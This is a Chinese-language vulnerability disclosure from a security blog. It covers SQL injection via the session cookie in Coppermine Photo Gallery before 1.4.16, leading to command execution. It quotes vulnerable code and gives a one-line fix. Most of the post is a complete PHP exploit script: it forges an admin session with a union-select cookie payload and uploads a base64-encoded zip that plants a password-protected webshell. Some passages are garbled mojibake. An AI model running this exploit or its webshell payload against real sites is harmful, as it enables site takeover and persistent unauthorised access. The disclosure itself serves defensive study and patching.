|
Coppermine Photo Gallery任意命令执行漏洞 |
 |
|
作者：洋葱圈
|
|
周一, 16 6月 2008 16:51 |
漏洞说明：Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序，但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商：http://coppermine-gallery.net/
漏洞发现：http://www.80sec.com
漏洞危害：高
漏洞来源：http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt
漏洞分析：
Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => ‘<
’, ‘>’ => ‘>’, ‘%26′ => ‘&’,
‘%22′ => ‘"’, ‘%3C’ => ‘<’, ‘%3E’
=> ‘>’,'%27′ => ‘'’, “‘” => ‘'’);
$keysToSkip = array(’_POST’, ‘_GET’,
‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’,
‘HTML_SUBST’);
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value),
$HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] =
strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value),
$HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] =
strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) &&
ini_get(’register_globals’) == ‘1′)
unset($$key);
}
}
}
å¯ä»¥çå°å¯¹COOKIEä¸çæ°æ®æ²¡æåä»»ä½å¤çï
¼ç¶åå¨å¤çç¨æ·SESSION-COOKIEçå°æ¹/bridge
/coppermine.inc.php
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by
concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
……
// Check for valid session if session_cookie_value
exists
if ($sessioncookie) {
// Check for valid session
$sql = ’select user_id from ‘.$this->
sessionstable.’ where
session_id=md5(”‘.$session_id.’”);’;
对session_idçæä½çmd5æ¯å¨SQLè¯å¥éçï¼æ
以å¯ä»¥è½»æBypassï¼åææ°æ®åºç»æå认è¯
机制可以得出exploit的COOKIE为：
")union/**/select/**/1/*
åªè¦æ交å¦ä¸COOKIEå°±å¯ä»¥è·å¾ç®¡çå身份ï
然后就可以上传恶意文件得到站点权限
漏洞利用：80sec提供漏洞利用程序如下：
print_r("
+------------------------------------------------------------------+
|
Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com
用法： php.exe exp.php www.80sec.com /cpg1416/
获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
+------------------------------------------------------
------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';
$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92Z
XNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9
W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACAB
nk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNo
ZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";
$evilzip=base64_decode($evilzip);
$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin";
filename="c:\\1.zip"
Content-Type: application/x-zip-compressed
$evilzip
-----------------------------12345671234567
www_80sec_com;
$temp=send('',"index.php");
preg_match_all('/Set-Cookie:
([a-f0-9]+)=/i',$temp,$cookiepre);
$cookiepre=$cookiepre[1][0];
if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/
1/*;');
}
echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-da
ta;
boundary=---------------------------12345671234567');
$shell="http://$server".$blogpath."plugins/loveshell.ph
p";
echo "Look at $shell :)\r\n";
echo "Or login with cookie
".urlencode('")union/**/select/**/1/*;')."\r\n";
function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$deb
ug,$evilip;
$type ? $content=$type :
$content="application/x-www-form-urlencoded";
$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";
//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "
";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="
“;
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
|
漏洞修复：将认证放到php中处理，即将上述问题语句改为
$sql = 'select user_id from '.$this->sessionstable." where session_id = '" . md5($session_id) . "'";
本站内容均为原创，转载请务必保留署名与链接！
Coppermine Photo Gallery任意命令执行漏洞:http://www.80sec.com/coppermine-photo-gallery-exploit.html
Trackback(0)
|
|
统计数据
会员 : 5
内容 : 193
友情链接 : 5
内容的浏览数 : 127456
您来自38.103.63.60  美国 : 浏览器 Unknown Browser 操作系统 Unknown Operating System
|
TrackBack URI for this entry
Subscribe to this comment's feed
Show/Hide comments
Show/Hide comment form